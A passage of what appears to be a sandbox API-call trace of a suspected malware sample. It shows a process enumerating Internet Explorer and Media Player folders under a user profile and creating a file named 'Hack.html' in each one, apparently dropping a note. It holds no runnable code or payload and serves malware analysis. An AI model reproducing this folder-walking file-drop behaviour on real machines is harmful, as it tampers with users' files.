lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0077.109] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.109] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0077.109] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.109] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0077.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0077.110] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0077.110] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0", lpFilePart=0x0) returned 0x59 [0077.110] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\", lpFilePart=0x0) returned 0x5a [0077.110] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0077.110] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.110] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0077.110] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0077.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0077.111] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\Hack.html", lpFilePart=0x0) returned 0x63 [0077.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0077.111] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\fkluidu0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.111] GetFileType (hFile=0x174) returned 0x1 [0077.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0077.111] GetFileType (hFile=0x174) returned 0x1 [0077.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0077.112] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC", lpFilePart=0x0) returned 0x59 [0077.112] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\", lpFilePart=0x0) returned 0x5a [0077.112] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0077.113] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.113] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0077.113] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0077.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0077.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0077.113] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC", lpFilePart=0x0) returned 0x59 [0077.113] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\", lpFilePart=0x0) returned 0x5a [0077.113] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0077.113] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.113] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0077.113] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0077.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0077.113] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\Hack.html", lpFilePart=0x0) returned 0x63 [0077.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0077.113] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\owlvmzrc\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.114] GetFileType (hFile=0x174) returned 0x1 [0077.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0077.114] GetFileType (hFile=0x174) returned 0x1 [0077.115] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\Hack.html", lpFilePart=0x0) returned 0x5a [0077.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0077.115] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.116] GetFileType (hFile=0x174) returned 0x1 [0077.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0077.116] GetFileType (hFile=0x174) returned 0x1 [0077.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0077.118] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery", lpFilePart=0x0) returned 0x50 [0077.118] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\", lpFilePart=0x0) returned 0x51 [0077.118] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1a8 [0077.118] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.118] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.118] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.118] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0077.118] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0077.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0077.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0077.119] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery", lpFilePart=0x0) returned 0x50 [0077.119] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\", lpFilePart=0x0) returned 0x51 [0077.119] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1a8 [0077.119] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.119] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.119] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.119] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0077.119] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0077.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0077.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0077.119] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active", lpFilePart=0x0) returned 0x57 [0077.120] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\", lpFilePart=0x0) returned 0x58 [0077.120] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0077.120] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.120] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0077.120] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0077.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0077.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0077.120] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active", lpFilePart=0x0) returned 0x57 [0077.120] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\", lpFilePart=0x0) returned 0x58 [0077.120] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0077.121] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.121] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0077.121] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0077.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0077.121] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\Hack.html", lpFilePart=0x0) returned 0x61 [0077.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0077.121] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\active\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.121] GetFileType (hFile=0x174) returned 0x1 [0077.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0077.121] GetFileType (hFile=0x174) returned 0x1 [0077.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0077.122] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active", lpFilePart=0x0) returned 0x5c [0077.122] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\", lpFilePart=0x0) returned 0x5d [0077.122] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0077.125] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.125] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.125] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.125] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.125] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.125] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0077.125] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0077.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0077.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0077.126] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active", lpFilePart=0x0) returned 0x5c [0077.126] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\", lpFilePart=0x0) returned 0x5d [0077.126] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0077.127] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.127] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.127] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.127] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.127] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.127] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0077.127] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0077.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0077.128] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\Hack.html", lpFilePart=0x0) returned 0x66 [0077.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0077.129] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.130] GetFileType (hFile=0x174) returned 0x1 [0077.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0077.130] GetFileType (hFile=0x174) returned 0x1 [0077.131] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Hack.html", lpFilePart=0x0) returned 0x5a [0077.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0077.131] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.131] GetFileType (hFile=0x174) returned 0x1 [0077.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0077.131] GetFileType (hFile=0x174) returned 0x1 [0077.132] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Hack.html", lpFilePart=0x0) returned 0x51 [0077.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0077.133] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.133] GetFileType (hFile=0x174) returned 0x1 [0077.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0077.133] GetFileType (hFile=0x174) returned 0x1 [0077.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0077.134] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player", lpFilePart=0x0) returned 0x42 [0077.134] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\", lpFilePart=0x0) returned 0x43 [0077.134] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1a8 [0077.137] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.138] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.138] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.138] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.138] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.138] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.138] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0077.139] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: 